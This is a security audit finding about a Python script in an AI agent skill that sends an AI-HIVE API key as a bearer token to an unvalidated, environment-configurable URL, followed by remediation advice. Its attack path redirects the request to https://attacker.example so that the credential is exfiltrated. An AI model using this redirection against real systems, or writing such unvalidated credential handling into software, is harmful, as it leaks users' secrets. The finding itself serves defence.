T09 · Insecure Skill Coding Practices
- Location
scripts/ai_hive_hotspot.py:24- Finding
AI-HIVE API Key Disclosure Through an Unvalidated Configurable Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
scripts/ai_hive_hotspot.py, lines 24–30
Vulnerability Type: Unvalidated destination for authenticated HTTP requests
Risk Level: MediumVulnerable Code
python base = os.environ.get("AI_HIVE_BASE_URL", DEFAULT_BASE).rstrip("/") url = f"{base}/openapi/v1/models" if args.type: url += "?" + urllib.parse.urlencode({"modelType": args.type}) req = urllib.request.Request(url, headers={"Authorization": f"Bearer {key}", "Accept": "application/json"}) try: with urllib.request.urlopen(req, timeout=30) as resp:Technical Analysis
The script obtains the destination API base URL from the
AI_HIVE_BASE_URLenvironment variable without validating its scheme, hostname, port, or ownership. It then attaches the value ofAI_HIVE_API_KEYas a bearer token to a request sent to that destination.Consequently, a poisoned execution environment can redirect the authenticated request to an attacker-controlled server. The implementation does not require HTTPS, restrict the hostname to an approved AI-HIVE domain, or prevent authenticated requests from reaching an arbitrary endpoint.
This is a credential-disclosure vulnerability rather than remote payload execution: the response is parsed as JSON and displayed, but it is not executed as code.
Attack Path
- The victim stores a valid AI-HIVE credential in
AI_HIVE_API_KEY, as instructed by the Skill documentation. - An attacker, malicious wrapper, compromised automation configuration, or untrusted environment sets
AI_HIVE_BASE_URLto an attacker-controlled URL, such ashttps://attacker.example. - The victim or Agent runs:
bash python3 scripts/ai_hive_hotspot.py models --query "Claude" - The script constructs a request to:
text https://attacker.example/openapi/v1/models - The request includes:
text Authorization: Bearer <AI_HIVE_API_KEY>
...[truncated 864 chars]
- The victim stores a valid AI-HIVE credential in
- Remediation
View remediation
Remediation Suggestions
- Remove the
AI_HIVE_BASE_URLoverride in production if alternate endpoints are unnecessary. - If endpoint configuration is required, parse the URL with
urllib.parse.urlsplitand enforce:- The
httpsscheme - An explicit allowlist of approved AI-HIVE hostnames
- Approved ports only
- No embedded username or password
- No malformed or ambiguous hostname representation
- The
- Do not attach the
Authorizationheader until the final destination has passed validation. - Disable redirects or validate every redirect destination before forwarding credentials. Authentication headers must never be forwarded across origins.
- Fail closed when URL validation fails and emit an error that does not include the API key.
- Consider separate development and production configurations, with custom endpoints permitted only through an explicit development-only option.
- Rotate any API key that may have been used while
AI_HIVE_BASE_URLpointed to an untrusted endpoint. - Add automated tests confirming rejection of HTTP URLs, unapproved hosts, embedded credentials, unexpected ports, and cross-origin redirects.
- Remove the
